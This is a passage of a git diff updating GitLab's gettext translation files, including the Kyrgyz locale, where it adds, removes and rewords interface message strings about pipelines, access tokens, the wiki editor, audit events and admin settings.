-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index b163919d916..51a0b33a358 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:25\n"
+"PO-Revision-Date: 2021-07-01 21:07\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
